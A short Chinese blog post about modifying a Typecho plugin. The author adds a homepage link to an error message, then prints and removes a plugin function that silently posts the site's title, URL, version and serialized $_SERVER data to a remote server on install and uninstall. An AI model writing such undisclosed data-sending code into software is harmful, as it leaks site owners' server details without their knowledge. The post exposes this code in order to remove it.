今天删除了一篇文章,然后用手机百度搜索发现链接还在点开提示.不存在或已删除.居然没有返回首页的链接那就顺手加一个上去。
修改Action.php文件
找到throw new Typecho_Widget_Exception('不存在或已删除');
有两处改为throw new Typecho_Widget_Exception('不存在或已删除'.'<a href="//www.529i.com">返回首页</a>');
其实就是加个a标签

然后我又在Plugin.php发现了一些东西

public static function call_me($type){//远程通知 $api="https://holmesian.org/m/?action={$type}"; $http = Typecho_Http_Client::get(); $data = array( 'site' => Helper::options()->title, 'url' => Helper::options()->index, 'version' => self::$version, 'data' => serialize($_SERVER), ); $http->setData($data); try { $msg = $http->send($api); return $msg; } catch (Exception $e){ $msg='通知出错!'; return $msg; } }

好像是向远程服务器发送安装卸载的信息然后我就随手删除了
继续删除$msg=$msg.self::call_me('install');
$msg = $msg . self::call_me('uninstall').'|';

如果觉得我的文章对你有用,请随意赞赏